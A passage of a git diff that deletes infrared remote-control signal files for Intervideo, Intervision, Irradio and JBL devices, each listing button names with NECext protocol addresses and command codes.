NECext -address: 00 00 00 00 -command: 82 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 83 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 84 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 85 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 86 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 87 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 88 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 89 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 8A 00 00 00 -# -name: KEY_OPTION -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 8B 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 8C 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 8D 00 00 00 -# -name: MAIN_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 8E 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 8F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Intervideo/VCR/49,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Intervideo/VCR/49,-1.ir deleted file mode 100644 index da465c312..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Intervideo/VCR/49,-1.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CH/TRACKING_^ -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 01 00 00 00 -# -name: CH/TRACKING_V -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 02 00 00 00 -# -name: AUDIO_OUT -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 03 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 04 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 05 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 06 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 07 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 08 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0C 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0D 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0E 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0F 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 10 00 00 00 -# -name: PAUSE/STILL_ -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 11 00 00 00 -# -name: REW/SRCH_<< -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 12 00 00 00 -# -name: FF/SRCH_>> -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 13 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 14 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 15 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 19 00 00 00 -# -name: SLOW -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1A 00 00 00 -# -name: 1-- -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1B 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1C 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1D 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1E 00 00 00 -# -name: AUTO_TRACKING -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1F 00 00 00 -# -name: OTR_OFF -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 40 00 00 00 -# -name: OTR_ON -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 41 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 43 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 44 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 46 00 00 00 -# -name: SLOW_^ -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 47 00 00 00 -# -name: SLOW_V -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 48 00 00 00 -# -name: AUDIO_DUB -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 49 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4A 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4C 00 00 00 -# -name: TV_MONITOR -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 51 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 5B 00 00 00 -# -name: CHANNEL_SCAN -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 5C 00 00 00 -# -name: TAPE_SPEED -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 5E 00 00 00 -# -name: ADD -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 99 00 00 00 -# -name: CH_PROG_AUTO -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 9E 00 00 00 -# -name: ERASE -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 9F 00 00 00 -# -name: BLANK_SEARCH -type: parsed -protocol: NECext -address: 31 00 00 00 -command: D0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Intervision/Unknown_Intervision/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Intervision/Unknown_Intervision/134,107.ir deleted file mode 100644 index 07f653743..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Intervision/Unknown_Intervision/134,107.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 09 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0A 00 00 00 -# -name: RIGHT_ARROW -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0C 00 00 00 -# -name: KEY_F1 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0D 00 00 00 -# -name: KEY_F2 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0F 00 00 00 -# -name: MTS -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 10 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 12 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 13 00 00 00 -# -name: DOWN_ARROW -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 14 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 15 00 00 00 -# -name: UP_ARROW -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 16 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 17 00 00 00 -# -name: LEFT_ARROW -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 18 00 00 00 -# -name: KEY_F4 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 19 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1B 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1C 00 00 00 -# -name: KEY_F3 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1D 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Irradio/3331_DVB-T/1,254.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Irradio/3331_DVB-T/1,254.ir deleted file mode 100644 index bd9e4b560..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Irradio/3331_DVB-T/1,254.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 00 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 01 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 04 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 06 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 07 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 08 00 00 00 -# -name: SUB -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 09 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 0A 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 0B 00 00 00 -# -name: VOL+ -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 0D 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 0E 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 0F 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 10 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 12 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 13 00 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 14 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 15 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 16 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 17 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 1A 00 00 00 -# -name: ALT -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 1E 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 40 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 41 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 42 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 43 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 4E 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 51 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 52 00 00 00 -# -name: USB -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 53 00 00 00 -# -name: SCAN -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 54 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 55 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 56 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 57 00 00 00 -# -name: EPG -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 5A 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 5B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Irradio/Unknown_IrradioHIFI1300V/162,162.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Irradio/Unknown_IrradioHIFI1300V/162,162.ir deleted file mode 100644 index 4e51e9867..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Irradio/Unknown_IrradioHIFI1300V/162,162.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: skip/tuning- -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 04 00 00 00 -# -name: mode/remain -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 05 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 06 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 07 00 00 00 -# -name: skip/tuning+ -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 0C 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 0D 00 00 00 -# -name: band -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 0E 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 0F 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 13 00 00 00 -# -name: memory/clock -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 14 00 00 00 -# -name: intro -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 15 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 17 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 1B 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 1C 00 00 00 -# -name: xbass -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 1D 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 1E 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 1F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 20 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 60 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JBL/Receiver/64,47.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JBL/Receiver/64,47.ir deleted file mode 100644 index c200ed030..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JBL/Receiver/64,47.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STANDBY -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 00 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 01 00 00 00 -# -name: VOL+ -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 03 00 00 00 -# -name: MONO -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 04 00 00 00 -# -name: PTY -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 05 00 00 00 -# -name: M -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 06 00 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 07 00 00 00 -# -name: AM/FM -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 08 00 00 00 -# -name: RDS -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 09 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 0A 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 0B 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 0C 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 0D 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 0F 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 10 00 00 00 -# -name: I< -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 12 00 00 00 -# -name: >I -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 13 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 16 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 17 00 00 00 -# -name: ALARM1 -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 18 00 00 00 -# -name: ALARM2 -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 19 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 1A 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 1B 00 00 00 -# -name: SNOOZE -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 1C 00 00 00 -# -name: LIGHT -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 1D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JBL/Surround Processor/130,11.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JBL/Surround Processor/130,11.ir deleted file mode 100644 index 63d26c73d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JBL/Surround Processor/130,11.ir +++ /dev/null @@ -1,464 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MENU_+ -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 01 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 01 00 00 00 -# -name: OSD_OFF -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 02 00 00 00 -# -name: BALANCE_RIGHT -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 04 00 00 00 -# -name: BALANCE_REAR -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 05 00 00 00 -# -name: OSD_ON -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 05 00 00 00 -# -name: BALANCE_LEFT -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 06 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 08 00 00 00 -# -name: DONE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 0A 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 0C 00 00 00 -# -name: INPUT:TAPE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 0C 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 0D 00 00 00 -# -name: INPUT:TUNER -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 0D 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 0E 00 00 00 -# -name: INPUT:CD -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 0F 00 00 00 -# -name: INPUT:AUX -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 0F 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 10 00 00 00 -# -name: INPUT:TV -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 10 00 00 00 -# -name: VIDEO_DISC -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 11 00 00 00 -# -name: INPUT:V_DISC -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 11 00 00 00 -# -name: VCR_2 -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 12 00 00 00 -# -name: INPUT:DVD -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 12 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 13 00 00 00 -# -name: INPUT:VCR -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 13 00 00 00 -# -name: RECORD_ZONE_II -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 14 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 15 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 16 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 17 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 18 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 19 00 00 00 -# -name: EFFECT_+ -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 1A 00 00 00 -# -name: FX_UP -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 1A 00 00 00 -# -name: EFFECT_- -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 1B 00 00 00 -# -name: FS_DOWN -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 1B 00 00 00 -# -name: MENU_- -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 1D 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 1D 00 00 00 -# -name: BALANCE_FRONT -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 1E 00 00 00 -# -name: EFFECT_BYPASS -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 1F 00 00 00 -# -name: DOLBY_PRO_LOGIC -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 20 00 00 00 -# -name: THX_CINEMA -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 21 00 00 00 -# -name: LOGIC_7 -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 22 00 00 00 -# -name: DTS -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 23 00 00 00 -# -name: 2_CHANNEL_STEREO -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 24 00 00 00 -# -name: PARTY -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 25 00 00 00 -# -name: TV_M -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 26 00 00 00 -# -name: MUSIC -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 27 00 00 00 -# -name: ZONE_2:TAPE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 4C 00 00 00 -# -name: ZONE_2:TUNER -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 4D 00 00 00 -# -name: ZONE_2:CD -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 4E 00 00 00 -# -name: ZONE_2:AUX -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 4F 00 00 00 -# -name: ZONE_2:TV -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 50 00 00 00 -# -name: ZONE_2:V_DISC -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 51 00 00 00 -# -name: ZONE_2:DVD -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 52 00 00 00 -# -name: ZONE_2:VCR -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 53 00 00 00 -# -name: +5DB -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 84 00 00 00 -# -name: REMOTE_TRIGGER_OFF -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 85 00 00 00 -# -name: -5DB -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 86 00 00 00 -# -name: DEACTIVATE_ZONE_2 -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 88 00 00 00 -# -name: U_R_HERE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 8A 00 00 00 -# -name: ACCY_+_TAPE_MODE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 8C 00 00 00 -# -name: ACCY_+_TUNER_MODE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 8D 00 00 00 -# -name: ACCY_+_CD_MODE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 8E 00 00 00 -# -name: ACCY_+_AUX_MODE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 8F 00 00 00 -# -name: ACCY_+_TV_MODE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 90 00 00 00 -# -name: ACCY_+_V_DISC_MODE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 91 00 00 00 -# -name: ACCY_+_VCR2_MODE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 92 00 00 00 -# -name: ACCY_+_VCR1_MODE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 93 00 00 00 -# -name: ZONE_2_MODE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 94 00 00 00 -# -name: FULL_MUTE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 95 00 00 00 -# -name: TREBLE_- -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 96 00 00 00 -# -name: TREBLE_+ -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 97 00 00 00 -# -name: OSD_ON -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 98 00 00 00 -# -name: OSD_OFF -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 99 00 00 00 -# -name: BASS_+ -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 9A 00 00 00 -# -name: BASS_- -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 9B 00 00 00 -# -name: REMOTE_TRIGGER_ON -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 9E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JBL/Surround Processor/132,66.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JBL/Surround Processor/132,66.ir deleted file mode 100644 index 22cd8b816..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JBL/Surround Processor/132,66.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SIBILANCE -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 00 00 00 00 -# -name: 70_MM_MOVIE -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 02 00 00 00 -# -name: ROCK -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 03 00 00 00 -# -name: THEATER_EQ. -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 04 00 00 00 -# -name: 35_MM_MOVIE -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 06 00 00 00 -# -name: POP -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 07 00 00 00 -# -name: EFX_MUTE -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 08 00 00 00 -# -name: THX -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 0A 00 00 00 -# -name: JAZZ -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 0B 00 00 00 -# -name: DOLBY -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 0E 00 00 00 -# -name: HALL_1 -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 0F 00 00 00 -# -name: MONO_ENHANCE -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 12 00 00 00 -# -name: HALL_2 -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 13 00 00 00 -# -name: AMBIENCE_+ -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 18 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 19 00 00 00 -# -name: CENTER_^ -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 40 00 00 00 -# -name: INPUT_CALIBRATE_< -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 41 00 00 00 -# -name: CENTER_V -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 43 00 00 00 -# -name: SOURCE_^ -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 44 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 45 00 00 00 -# -name: SOURCE_V -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 47 00 00 00 -# -name: DELAY_^ -type: parsed -protocol: NECext -address: 84 42 